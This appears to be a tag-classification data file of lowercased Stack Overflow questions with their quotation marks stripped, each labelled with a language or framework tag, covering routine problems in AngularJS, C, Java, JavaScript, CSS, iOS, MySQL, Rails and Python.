<pre><code>    (function () {      use strict ;      var controllerid =  messagectrl ;     //todo:  investigate having to pass $interval to here to destroy interval promise.     //todo:  has to be a way to move that into the service     angular.module( app ).controller(controllerid  [ notificationservice    $scope    $interval   function (notificationservice  $scope  $interval) {         var vm = this;         // tied to ui element         vm.notifications = [];          vm.initialize = function () {             // initialize tyhe notification service here             var intervalpromise = notificationservice.initializenotificationservice({ url:  api/userprofile/getnotifications   interval: 5000 });              intervalpromise.then(                     function (response) {                         // never gets called                         var s =   ;                         //vm.notifications.push(response);                         // alert( successful call );                     }                      function (response) {                         var s =   ;                         // this gets called when the promise is destroyed                         // response = canceled                         //alert( failure to call );                     }                      function(iteration) {                         console.log(notificationservice.displayednotifications);                         // this gets called on every iteration of the $interval in the service                         vm.notifications = notificationservice.displayednotifications;                      }                 );             // todo:  see comment at top of controller             $scope.$on( $destroy   function () {                 if (angular.isdefined(intervalpromise)) {                     $interval.cancel(intervalpromise);                     intervalpromise = undefined;                 }             });         };          vm.alertclicked = function (alert) {             alert.status =  old ;         };          // call to init the notification service here so when the controller is loaded the service is initialized         vm.initialize();      }]); })(); </code></pre>   the way this ends up flowing  and i ll do my best to show flow here    1) service - $interval makes the call with the $http  both of these seem to return their own promises according to the docs    2) controller - intervalpromise s notify callack is called    3) service - onnotificationsuccess callback of $http is called what doesn t happen that i would expect    4) controller - intervalpromise success callback is never called    should the return response.data in the onnotificationsuccess handler within the service trigger the <code>then</code> chain in the controller   it s aware that the promise is returned or seemingly cause the notify callback in the controller is called each time $interval executes  so i m confused as to where the chain is broken.      ideal $interval calls with $http  the promise from $http is passed up to the controller then with each iteration new messages are added to the service on a successful call by $interval  then in the controller onsuccess i can check the property of the service and update the ui.  where am i losing the method chain,angularjs
what is causing this too few arguments error   i am working on getting inputs from keyboard and pass them to variales in c++. i am getting too few argument error.    <pre><code>#include &lt;stdio.h&gt; void_fullname(char fname  char lname) {     printf( enter your first name\n );     scanf(  %d   &amp;fname );     printf( enter your last name\n );     scanf(  %d   &amp;lname );     printf( welcome: %d\n  first name + last name)\n ); }  int main() {     printf(  1.full name\n  );     printf(  2.exit\n  );     scanf(  %d   &amp;input );     switch ( input ) {         case 1:                       void_fullname();             break;     }      getchar(); } </code></pre>,c++
read from file before specific character in java  how to read from file line before specific character  for example i have such line:     <pre><code> hello world !i am nika.   </code></pre>   how can i read text before <code>!</code> <br> i have tried with <code>bufferedreader</code> class method <code>readline</code>  but it reads whole line.,java
why binary file is not a text file and all text files are binary files   what is the deciding factor for classifying a file into binary or text file     e.g:  consider the below c program    <ol> <li>create file in <strong>binary</strong> mode</li> <li>write two integers into file  binary.txt .</li> </ol>   note: before running the program make sure binary.txt doesnt exist.    observation:    file created  binary.txt  with contents textfile   <pre><code>#include &lt;stdio.h&gt;  int main() {    int arr[2] = {1415071060 1162627398};    file *fp = fopen( binary.txt    wb );     if(fp == null)    {        printf( error opening file\n );        exit(1);    }    fwrite(arr  sizeof(arr)  1  fp);    fclose(fp);    return 0; } </code></pre>   however only creator knows that it is created in binary mode and this should be called binary file.    anyone who opens the file  binary.txt  think its <strong>text</strong> file.    what a general user should call this file - <strong>binary</strong> or <strong>text</strong> file,c
"how do i make this pure js carousel show the first image   i have this pure javascript carousel that i have found from another question asked from <a href= https://stackoverflow.com/questions/30563747/simple-carousel-with-pure-javascript >here</a> (im not taking ownership of this code).    i need to make the carousel show the first image  it is showing the second image currently  (my knowledge of javascript isn t that great  so i have tried all that i can).     (this is just for a project at collage.)    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var firstval = 0;
 
 function carousel() {
     firstval += 2;
     parent = document.getelementbyid( container );
     parent.style.left =  -  + firstval +  % ;
     if (!(firstval % 100)) {
         settimeout(carousel  3000);
         firstval = 0;
         var firstchild = parent.firstelementchild;
         parent.appendchild(firstchild);
         parent.style.left= 0;
         return;
     }
     runcarousel = settimeout(carousel  20);
 }
 carousel();</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#wrapper {
             position: relative;
             width: 100%;
             height: 300px;
             margin: 0 auto;
             overflow: hidden;
         }
         #container {
             position: absolute;
             width: 100%;
             height: 300px;
         }
         .child {
             width: 100%;
             height: 300px;
             padding-top: 35px;
             float: left;
             text-align: center;
             font-size: 60px;
         }
         #a {
             background: #ff0000;
         }
         #b {
             background: #ffff00;
         }
         #c {
             background: #00ffff;
         }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= wrapper &gt;
     &lt;div id= container &gt;
         &lt;div id= a  class= child &gt;a&lt;/div&gt;
         &lt;div id= b  class= child &gt;b&lt;/div&gt;
         &lt;div id= c  class= child &gt;c&lt;/div&gt;
     &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://jsfiddle.net/wzkljh8s/5/  rel= nofollow noreferrer ><strong>jsfiddle</strong></a>",javascript
cash register program - c  good day! in a program i am writing for school we must make a cash register type program  seems simple enough  but for the life of me i can not get it to work. after taking in the number of products bought  then the price of all  the program must ask for the cash to pay  then give back the change. but the change must be given in amount of loonies back (or $1 bills)  and then just the remaining cents. help  i ve gotten the loonies to work (somewhat) but i don t know how to do the change back.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     int itemnum  justchange;     double prodprice  tax  cashgiven  change  purchaseprice  changegiven  changeback  cashback;     float totalprice;      //num of items     printf ( number of items:  );     scanf( %d   &amp;itemnum);      //price of items     printf( please enter price of items:  );     scanf( %lf   &amp;prodprice);      //math stuff     purchaseprice = itemnum*prodprice;     tax = purchaseprice * 0.13;     totalprice = purchaseprice*1.13;      //find change alone     //justchange = totalprice       //price output     printf( purchase price is: %.2lf \n  purchaseprice );     printf( tax (hst 13%):     %.2lf\n  tax );     printf( total price is:    %.2lf \n  totalprice );        printf( please enter cash:  );     scanf( %lf   &amp;cashgiven);      printf( please enter change:  );     scanf( %lf   &amp;changegiven);      //math stuuff again      double endcash;     double loony;     int yoloswag;     endcash = cashgiven - totalprice;     loony = endcash/1;     loony = loony--;      if (loony&lt;0)         printf ( loonies: 0 );     else     printf( loonies: %.0lf \n  loony );      printf( change: %d    totalprice-floor(totalprice) );      return 0; } </code></pre>,c
direct code to loop a text input check until correct   i m trying to write a simple little text adventure  dnd-style thing here as practice  but i have run into a problem that i can t for the life of me find a solution for.    i need to create a loop for when the user types the text response incorrectly because i don t want it responding to just anything the user types in and don t want to force the user to restart the entire program. i know about the do/while loop  but i have no idea how to implement it in a text input check because everyone uses it with numbers  not text.    here s the code:   <pre><code>package drake;  import java.util.*;  public class drake { public static void main(string[]args) {      random rand = new random();     scanner kb = new scanner(system.in);        int ini_d = rand.nextint((17 - 12) + 1) + 12;     int ini_u = rand.nextint((20 - 1) + 1) + 1;     int cha_d = 16;     int cha_u = 15;     int r_d = rand.nextint((20 - 11) + 1) + 11;     int r_u = rand.nextint((20 - 1) + 1) + 1;     int hp_d = 50;     int hp_u = 30;     int dam_d = rand.nextint((12 - 7) + 1) + 7;     int dam_u = rand.nextint((17 - 12) + 1) + 12;      system.out.println( a young dragon towers over you  it s reptilian eyes digging into your very soul. it roars at you  posing a challenge. );     system.out.println( type  roll  to roll for initiative. );     string u_r1 = kb.next();      while(true)         if (u_r1.equalsignorecase ( roll )) {          system.out.println(ini_d);         system.out.println(ini_u);         break;         }         else {             system.out.println( your input was invald. please try again. );             //i need to give the user another chance to input text  and then direct the program to check it again and again until it s typed in correctly.             return;         }       if (ini_d &gt;= ini_u) {         system.out.println( the dragon rushes towards you in an attempt to attack you. );     }     } </code></pre>   },java
javascript - transform object in class  i m new in js and i m used to traditional oop languages  so i m having a hard time making some things work properly.    here is my example :   <pre><code>var myobject = { prop: something ;  callme:function () {   console.log( you called me );   } }  firstobj = myobject; firstobj.prop1 =  new thing ;  secondobj = myobject; secondobj.prop1 =  second thing ; </code></pre>   obviously the  secondobj  overrides what  fristobj  did before. how can i convert the  myobject  object so it can work like a class   so i can create individual new instances of it      thanks !,javascript
how do i select second submit button to imply other color <pre><code>.formholder input[type= submit ] {   background: #84c40b;   font-size: 10px;   display: inline-block;   width: 115px;   height:31px;   border: none;   color: #fff;   text-transform:uppercase; </code></pre>   how can i select with css so i can imply another color to the second submit button     thanks alot.,css
".addeventlistener( load ) only firing twice in a  loop   what am doing is not a loop  what is it called     i am trying to sequentially load images after the dom is loaded  to be animated later. for some reason this is only loads two images  there are 20.    hope someone knows why  thanks.      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function init() {
   var imgdefer = document.queryselectorall( .img-sequence );
   var lastloadindex = 0;
 
   function loadnextimage() {
     if (imgdefer.length === lastloadindex) {
       return;
     }
     console.log( loading image at index   + lastloadindex);
     imgdefer[lastloadindex].setattribute(
        src  
       imgdefer[lastloadindex].getattribute( data-src )
     );
     lastloadindex += 1;
     // console.log(lastloadindex);
   };
   imgdefer[lastloadindex].addeventlistener( load   loadnextimage);
   loadnextimage();
   //console.log(imgdefer.length);
 }
 window.onload = init;</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=0  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=1  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=2  /&gt;&lt;img class= img-sequence 
     data-src= https://picsum.photos/320/320 image=3  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=4  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=5  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=6 
   /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=7  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=8  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=9  /&gt;&lt;img class= img-sequence 
     data-src= https://picsum.photos/320/320 image=10  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=11  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=12  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=13 
   /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=14  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=15  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=16  /&gt;&lt;img class= img-sequence 
     data-src= https://picsum.photos/320/320 image=17  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=18  /&gt;&lt;img class= img-sequence  data-src= https://picsum.photos/320/320 image=19  /&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
custom delete button uitableview iphone sdk  i wanted swipe a custom view into a uitableviewcell. i can set and use the swipe delete button but i want to have the same effect with any view.,iphone
javascript setinterval function doesn t stop  i am new to javascript. i am checking a time period from my database and showing how much time left to the end of the period.    i got the time value with <code>strtotime</code> as a variable <code>$lefttime</code> in php. my problem is with javascript part so i am not writing the php codes.    so my javascript code is:    <pre><code>var s = &lt; php echo $lefttime;  &gt;; //s stands for seconds var d = math.floor(s/60);         //d stands for minutes s -= d*60;  var count = setinterval(functime  1000);     function functime() {         s--;          if(s &lt; 0) {             d--;             s = 59;                              var san = s;             var dak =  0  + d;            }         else if(d &lt; 0 ) {                 clearinterval(functime);                 document.getelementbyid( id ).innerhtml =  over ;             }         else if(d &lt; 10){             var dak =  0  + d;             if(s &lt; 10) {                         var san =  0  + s;                     }             else {                         var san = s;                      }         }         else if(s &lt; 10){             var san =  0  + s;             if(d &lt; 10) {                         var dak =  0  + d;                     }             else {                         var dak = d;                      }         }         else {              var san = s;             var dak = d;         }          document.getelementbyid( id ).innerhtml = dak+ : +san;     } </code></pre>   <em>i create <code>dak</code> and <code>san</code> variables to check if the value is a digit  if so add <code>0</code> to the left of them.</em>    so it works perfect except stopping when <code>d &lt; 0</code>. it counts down till <code>00:00</code> and then shows  <code>0-1:59</code>  and then <code>undefined:undefined</code>.    please help me i can t find what is wrong.,javascript
how to split a string into int[3]  i have a string  like  101 1 13  and i need to split it to a int aux[3] --> resulting in aux[0] = 101  aux[1] = 1 and aux[2] = 13 (in this case). how can  i do that     in the example of the code below i get op as a string and want to get the value of the ints in there. each int is divided in the string by a white space(   ).    another detail: i need the code to compile with flag -std=c99  so the answer that was accepted would not work.   <pre><code>    #include &lt;stdio.h&gt;     #include &lt;stdlib.h&gt;   //example of str =  101 1 14  (char *) // example of output = {101  1  14}(int *)  int* stoi(char *str) {      // function to split str into 3 ints  }     int main() {         char op[10];         int num[3];          scanf( %s\n   op);          num = stoi(op);         printf( %d %d %d   num[0]  num[1]  num[2]);           return 0;     } </code></pre>,c
how do i align the li text in the middle of the ul list type image  i am trying to align the  flavor one  text in the middle of the image that is being used for the list bullets (see css below).  currently it s at the bottom.    i ve tried vertical align  line-height but nothing works.     <a href= http://codepen.io/pares101/pen/npwdpp  rel= nofollow noreferrer >http://codepen.io/pares101/pen/npwdpp</a>    <strong>html</strong>      <pre><code>&lt;ul class= flavors &gt;     &lt;li class= tan sp flavor-size &gt;         flavor one     &lt;/li&gt;     &lt;li class= tan sp flavor-size &gt;         flavor one     &lt;/li&gt;     &lt;li class= tan sp flavor-size &gt;         flavor one     &lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>css</strong>     <pre><code>ul {     list-style-image: url( data:image/png;base64 ivborw0kggoaaaansuheugaaadyaaabfcayaaaab8xwyaaaagxrfwhrtb2z0d2fyzqbbzg9izsbjbwfnzvjlywr5ccllpaaaayrpvfh0we1momnvbs5hzg9izs54bxaaaaaaadw/ehbhy2tldcbizwdpbj0i77u/iibpzd0ivzvnme1wq2voauh6cmvtek5uy3pryzlkij8+idx4onhtcg1ldgegeg1sbnm6ed0iywrvymu6bnm6bwv0ys8iihg6eg1wdgs9ikfkb2jlifhnucbdb3jliduumy1jmdexidy2lje0nty2mswgmjaxmi8wmi8wni0xndo1njoynyagicagicagij4gphjkzjpsreygeg1sbnm6cmrmpsjodhrwoi8vd3d3lnczlm9yzy8xotk5lzaylziylxjkzi1zew50yxgtbnmjij4gphjkzjpezxnjcmlwdglvbibyzgy6ywjvdxq9iiigeg1sbnm6eg1wpsjodhrwoi8vbnmuywrvymuuy29tl3hhcc8xljaviib4bwxuczp4bxbntt0iahr0cdovl25zlmfkb2jllmnvbs94yxavms4wl21tlyigeg1sbnm6c3rszwy9imh0dha6ly9ucy5hzg9izs5jb20vegfwlzeumc9zvhlwzs9szxnvdxjjzvjlzimiihhtcdpdcmvhdg9yvg9vbd0iqwrvymugughvdg9zag9wientniaotwfjaw50b3noksigeg1wtu06sw5zdgfuy2vjrd0ieg1wlmlpzdoxodzcntlgrkyymdmxmuu2ouqzqkfemefenkm4qtcwnyigeg1wtu06rg9jdw1lbnrjrd0ieg1wlmrpzdoxodzcnuewmeyymdmxmuu2ouqzqkfemefenkm4qtcwnyi+idx4bxbnttpezxjpdmvkrnjvbsbzdfjlzjppbnn0yw5jzulepsj4bxauawlkokiwotmzqtawrjiwmtexrty5rdncquqwquq2qzhbnza3iibzdfjlzjpkb2n1bwvudelepsj4bxauzglkoje4nki1ouzfrjiwmzexrty5rdncquqwquq2qzhbnza3ii8+idwvcmrmokrlc2nyaxb0aw9upia8l3jkzjpsrey+idwvedp4bxbtzxrhpia8p3hwywnrzxqgzw5kpsjyij8+sduy/qaacbfjrefuenrmw0fagksq7mpyrdfhnscj2/duxgowwrm47wtbe4gnkjxapihkbjitsbaazvdztjreqdcxc+l6vt0ddkx3tw8mjpn9izpad1dx1v//x4ugsny+b/xasxhugyqgcletchx+d/q+dka/px8uef0djx4ewl5sojcicr0tdaj5zwlzlnazboyziwresksfzvwqoniki+idwt4bib9sr4phprh2gfxdf7j6slcezjxr8sng0il7qqne++j2y0im+xb800cohno7guj3pbs+gmodnehhvxtd2ema1zpfzld26ygci1cu5hr2bx3zgaw0c97sawoc0ood2uarlbpyxyplnyegkc4nnni89d5hyws3ujktzbgj3e/ac8qhuscwt5qmpudsvxgv3izj/hrudqkgiyu8nmnqd/l3klqr5l3ppcekdla9yzuk8ssz092jbrulidc2equkrrwxbx0am1hf2esbbxajlpxopw1sbz8klqs+/psqbqjangonjyoc4fdesnvcjw573qajzhiqqiomlwsv6gtzowjcjgzj86kuaozbwvl93fvbxrcrta0lg/ih4pdvle3xqxjjx0lto4sqbrdhu+ngduqq4wffclha3+zq0q/ngkl+5yuh1ivjzxbi2f3z7v1n07lzshlicd+eq2ajsq0cfvix0goc1brd++s1ee1svj/fqilootemt0byzpeq82mg6tvwt+qzg2r/mubxi6hzldho5r1sbwwla6ahnoaqho7ewl4fvoidu3lqan3rnl6exqo1bepcqawz6hwrzxdvroxbwvoe0zemekf2lwqgjbnm5axfoghfj0cnb7qzvaac8dokkh262k3mmnekot3hl4wyknu6xwhoqkrrvemhykzlowmk34yvwvhrqp40em/sytn88y5m+hnk10ofqwxzymnps7aqdnejw5avbbkumlimoz7regk2dlfuuyahy5huqnqmqihllh+yhxwwqxl2uoozpfaymnpo2ejbcxx0aodbtama9qtznbvyinyyytrnqsraioidx6ou80bkvptoqtx30x8dm+hsnnfekai4+d3svadmyzynv9mx/ffi5yn1xcxb7myd2younrbkq8culeviewy8f8y1ucp1hljzu8mehho+mg0iqvxftzqjw1ulu4lt4p8t3ahr14ooxwmfo5tu0+ru5swtitn70whpr2hc5usjr/ttv8u/t/ij7lafup2ee7lbnij69snirwxht49jyk3cex2tcs4xrnlhdaq0tjcgwyus2yom2snzbm8thbpnqcgkrm+5kie2chozoandzzrajczzs0zyyoiswlenu3c3lvobhifcdajf0id/yalmxxnjrbghzvemoybc3ei1hcl5somrycmuqanvilalgkr5qptmmheokc9t/m/xoj/+xez2kilnxpfvwwj8jtdqqu/c3rqkny6iiki2ruer1whtjebh39cyj/jerm0ntbji1amscp/omg1h9jvc1lmljrvxkkziauxccjtxzaplyxst9uxwdsdaeeuf8euo/t6wqok+zbjexa4xj9myxj3fimdzi/dvjpyqm0l4sjcydmx58gyqkwfh3o4qogup3e8uww+u+6hxzic8ryvqz0kcna0ew23perbrm+4zgqg8zbqu3ifug0pubyng0twigp/fhdrk7pvutfccmiu3gri/jgqffpzcd9e5yb2ohj2+fq8vaxopz9fsdsh05l3z55d44xxmkc1+bqfitb7fgmelfrc3lajbn80yz7mmg2lumspo8mw3ojpwgpyom9s/vqpkdjjkacm1yv2smbqfqpfteh/vm0oxxj5xkoehhq+km5yuw1cbblnlq9halk4zihjejkslpw1ethldug8joay9bxssboovi0dsqz7dom61afbs0re3u6trhpomxfnclcbprjw4f9feg0xzvuli6nsana6bo5fpkcfhw16azl8hea0gbnuanrrzirw0lzsjzk1zjlfsmdhkomlcq8ajk17jgyt9fbddkpzbajlwcsbrck76ly+kwxulwgkfs4hnjfuevckjusjzzfoizcwtie86ximbu3+dw2d5ix+whew9y3/e03o2uzfjw4wlfhljfdpnc43jkxu5/zeuiz3hw4wzhz64umbvqnurv/rbbhlhahe5vtme11vfkvusvqbgdrnhxybwgufe+1jnzmpbrg+twnbvvmkgac/d3bs1ddflstyhf/n5tp7ke0u1c7ugiojaz9bjwenhco+idnm17uytcdwild6z5nzxhi6wx+5td0mz4ktojsjwwoxdjxi+ne1rkf47vqziz/dwxianwiq4nrfoeq06d01b0mtqznzmowvsbuncyh8dz2xyiggycouppgdpfcakmap4ssafb5vi2agijmwbworz4plxwbu8nqu3sjnm33rcwzddemiqtzmdknkty1ulgsa3tso69kln5paerdbkvdrbprrmvak6hsmzvi82ud6gucrbprum843rlwvmakp5ybkv4a2fgozsaqzhqkifo1r1rqxvlaql52wrtdee0kzg9me17kwttq9ykn+ionqugiddaq2nz2qg3vws3lqox8zckkceudggmscnobk9tvcppzuatynnydlscgv7aykey1mc3o+gl0gz3lqkx/kuanousr21ni+9iqxunezyx3m9ttsptsgbnpsuyan/ci/lq2bh9rn/p9awcvjgv3euf3iass9rdcr6fzn/brgagrkbyrs4znkaaaaasuvork5cyii= ) } </code></pre>,css
mysql defaults-file argument not recognized  i am trying to log in to mysql with the --defaults-file option on the command line:   <pre class= lang-bsh prettyprint-override ><code>$ mysql --defaults-file ~/mycnf.cnf </code></pre>   but i get the following error:   <pre><code>mysql: unknown option  --defaults-file  </code></pre>   but this option is listed in the help:   <pre class= lang-bsh prettyprint-override ><code>$ mysql --help ... default options are read from the following files in the given order: /etc/mysql/my.cnf /etc/my.cnf ~/.my.cnf the following groups are read: mysql client the following options may be given as the first argument: --print-defaults        print the program argument list and exit. --no-defaults           don t read default options from any option file. --defaults-file=#       only read default options from the given file #. --defaults-extra-file=# read this file after the global files are read. --defaults-file=#       only read default options from the given file #. </code></pre>   whats going on here   here is the output of mysql --version   <pre class= lang-bsh prettyprint-override ><code>$ mysql --version mysql  ver 14.14 distrib 5.1.69  for redhat-linux-gnu (x86_64) using readline 5.1 </code></pre>,mysql
how can i temporarily make my staging rails server display errors   on my dev box when i get a backend error it gives me the error message and a stack trace. however on the staging server it just says    <pre><code> we re sorry  but something went wrong. if you are the application owner check the logs for more information.   </code></pre>   so yeah i know i can check the logs. but what if i want to see the stack trace in the browser. can i temporarily enable that  this is for rails 4.04 and ruby 2.1,ruby-on-rails
formatting a date in java  i have the two date objects which i am trying to format from being in <code>mm/dd/yyyy</code> format to <code> yyyy-mm-dd hh:mm:ss </code> format.     the current approach i am using is to first format those dates using <code>simpledateformat</code> which will return two <code>strings</code>  then i have to convert this string back to date to get the formatted final <code>date</code> objects.    so i was wondering if there was a simpler way to change the date object format without going in many steps     thanks,java
is it a good practice to ignore script type  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5622091/html5-script-declarations >html5 &lt;script&gt; declarations</a>    </blockquote>     i ve heard a few people say that you don t need to specify a <code>type= text/javascript </code> in a <code>&lt;script&gt;</code> tag  as this is the default type.    is there any downside if i open my script tags as <code>&lt;script&gt;</code> instead of the more verbose <code>&lt;script type= text/javascript &gt;</code>,html
is there a way to delete similar words from array s elements   is there a way to delete similar words from array s elements     initial array:   <pre><code>var arr = [ element first    element second    element third ]; </code></pre>   desired result:   <pre><code>var result = [ first    second    third ]; </code></pre>   thanks!,javascript
hour is not showing in 00 format  i have this code:   <pre><code> &lt;a href= # &gt;&lt;span id= live_time &gt;server time: &lt;strong&gt;&lt; php echo date( h:i:s a );  &gt;&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;                     &lt;script type= text/javascript &gt;                         // use php to get the server time                         var serverdate = new date( &lt; php echo date( f d  y h:i:s );  &gt; );                         function refresh_time(){                             serverdate.setseconds(serverdate.getseconds() + 1);                             var hh=serverdate.gethours();                             var m=serverdate.getminutes();                             var s=serverdate.getseconds();                                m=checktime(m);                             s=checktime(s);                             var dd =   am ;                             var h = hh;                             if (h &gt;= 12) {                                 h = hh-12;                                 dd =   pm ;                             }                             if (h == 0) {                                 h = 12;                             }                               var output = h+ : +m+ : +s+  +dd;                             document.getelementbyid( live_time ).innerhtml =  server time: &lt;strong&gt; +output+ &lt;/strong&gt; ;                         }                             function checktime(i) {                                 if (i &lt; 10) {i =  0  + i};                                 return i;                             }                          window.onload = function(){                           setinterval( refresh_time()   1000);                         }                        &lt;/script&gt; </code></pre>   when i access page first time it show me 07:11:14 am after one second time become 7:11:15 am  how i can output at every refresh in h format  like 07:11:15,javascript
while ccavenue payment gateway integration i am getting the following error  <a href= https://i.stack.imgur.com/mvyvn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mvyvn.png  alt= pls refer the image ></a> 1) unknown type name  xsym <br> 2) expected identifier or  ( <br> 3)  @end  must appear in an objective-c context  can anyone pls give me the suggestion how to solve this problem while integrating the ccavenue ...,objective-c
how to break lines in uilabel   i am trying to assign a text to the <code>uilabel</code> in <code>uiviewcontroller</code> and my text is :    <strong>get as many questions right as you can! get a questionn wrong. and you will loose a life! lose all three lives and it s game over!</strong>    but when i insert it into label it looks like :    <img src= https://i.stack.imgur.com/ozx5m.png  alt= enter image description here >    i try to set <strong>lines = 4</strong> like this way :    <img src= https://i.stack.imgur.com/tqj5f.png  alt= enter image description here >    but its not working and my output should look like :    <img src= https://i.stack.imgur.com/pyaij.png  alt= enter image description here >    how can i achieve that  is there any other way to do this     thanks in advance.,ios
python share directory over http  i got a script to share directory over web url by python. the script running the web server under port 8000. the port definition not available on the script. here i have listed the script.   <pre><code>import os import posixpath import urllib import basehttpserver from simplehttpserver import simplehttprequesthandler import os  dir = os.path.dirname(__file__) docroot = os.path.join(dir   webdir )  # modify this to add additional routes routes = (     # [url_prefix    directory_path]     [ /docroot   docroot+ css ]      [    docroot]  # empty string for the  default  match )   class requesthandler(simplehttprequesthandler):      def translate_path(self  path):            translate path given routes             # set default root to cwd         root = os.getcwd()          # look up routes and set root directory accordingly         for pattern  rootdir in routes:             if path.startswith(pattern):                 # found match!                 path = path[len(pattern):]  # consume path up to pattern len                 root = rootdir                 break          # normalize path and prepend root directory         path = path.split(    1)[0]         path = path.split( #  1)[0]         path = posixpath.normpath(urllib.unquote(path))         words = path.split( / )         words = filter(none  words)          path = root         for word in words:             drive  word = os.path.splitdrive(word)             head  word = os.path.split(word)             if word in (os.curdir  os.pardir):                 continue             path = os.path.join(path  word)          return path  if __name__ ==  __main__ :     basehttpserver.test(requesthandler  basehttpserver.httpserver) </code></pre>   can any one help me to edit the cord to define custom port. some thing like  80 .,python
best way to access a large object in a long running service from activity   i am in the middle of refactoring a terminal emulator program under android. in order to keep the terminal session persistent  i have moved most of the state to a long running service  which is bound to the primary activity  whenever the activity becomes active.    for some reason  even though my protocol decoder is active  and is processing data  and writing to the bitmap  the results aren t being shown after the first draw. ... so...     is it feasible to keep the bitmap in the bound service  and simply have the activity s view reference it whenever a draw needs to happen   or do i need to set up an intent to refresh a rectangle of the bitmap when it changes     the code is here: <a href= https://github.com/tschak909/pta/tree/refactor  rel= nofollow noreferrer >https://github.com/tschak909/pta/tree/refactor</a>    -thom,android
ran a bundle install  bootstrap updated  now i m getting routing errors  i was just fiddling around with some things and happened to run bundle install on my ruby on rails app. i noticed that bootstrap updated from 3.1.1 to 3.2.0 and now when i go to generate certain views  i get this error:   <pre><code>actioncontroller::routingerror (no route matches [get]  /fonts/bootstrap/glyphicons-halflings-regular.ttf ): </code></pre>   didn t happen until this gem update. any suggestions  i ve tried explicitly using 3.1.1 in the gemfile and running bundle again  but this doesn t help.  it looks just like a simple routing issue  but idk why this would have only changed during the gem update.,ruby-on-rails
dismissmodalviewcontrolleranimated shifts view down  i m using dismissmodalviewcontrolleranimated to dismiss my mfmailcomposeviewcontroller. the problem i m having is that the view behind the mail view gets shifted down a bit when it comes back into view.    i haven t been able to figure out why this is happening  any thoughts,iphone
retrieve text value from an element with jquery  if i have an html element with a value in it:   <pre><code>&lt;span id= myspan &gt;23&lt;/span&gt; </code></pre>   how can i retrieve this value (23) and use it  i ve tried something like:   <pre><code>var num = $( #myspan ).text(); </code></pre>   does not seem to work... will i be able to use it as a number to add other numbers to it,jquery
core telephony framework ios 4.0  hello can we add or show the view in core telephony framework. if possible then how  actually i have two diffrent application  one for inbound  second for outbound  i need to do show one view after 5sec-10sec of call whether its incoming or outgoing.please help me out and revert me back as soon as possible .  and its also a request please also send the reply to my gmail address i.e.goenka.sahil@gmail.com. really i need the code.,iphone
animate border-radius by multiplying its current value  it must be possible to animate the <code>border-radius</code> of a set of objects but i am having a hell of a time figuring it out. specifically i am trying to double the size of circular divs  each one has a different diameter. i have tried the suggestions of <a href= https://stackoverflow.com/questions/1010058/jquery-animate-css-border-radius-property-webkit-mozilla >this thread</a> to no avail (the difference being i want to multiply the current value). take your best stab at my <a href= http://jsfiddle.net/dfjosh/rgjsu/7/  rel= nofollow noreferrer >jsfiddle here</a>. or look at my code below. the <code>width</code> and <code>height</code> work fine  but the <code>border-radius</code> does not.   <pre><code>$( a ).click(function() {     $( .box ).each(function() {         var element = $(this);         element.animate({              width  : element.width()*2               height  : element.height()*2               border-top-left-radius  : element.css( border-top-left-radius )*2               border-top-right-radius  : element.css( border-top-right-radius )*2               border-bottom-left-radius  : element.css( border-bottom-left-radius )*2               border-bottom-right-radius  : element.css( border-bottom-right-radius )*2          }   slow );     }); }); </code></pre>,jquery
span text on separate lines using css  i have some text i want to be positioned inside a holder as follows:   <pre><code>[...........] [.the]......] [.[title]...] [...........] </code></pre>   the holder needs to have a black background and i d like the text to have a white background and black text. i am using the following structure:   <pre><code>&lt;div class= holder &gt;     &lt;div class= title &gt;         &lt;span&gt;the&lt;/span&gt;         &lt;span&gt;title&lt;/span&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   i am not sure if it s correct or not  but i am using the <code>&lt;span&gt;s</code> over <code>&lt;p&gt;s</code> becuase the p was going full width of the holder whereas the width of the span sizes itself to the text itself.    i want each span on a new line and this is where it is breaking atm. currently the spans just sit on the same line together. i tried adding a <code>&lt;br&gt;</code> after the first span but that doesn t fix it either  this time the second span is slightly below but positioned to the right.    the css i am using:   <pre><code>.holder {     width: 200px;     height: 300px; }  .title span {     background: #fff;     color: #000;     float: left;     display: block;     padding: 2px; } </code></pre>,css
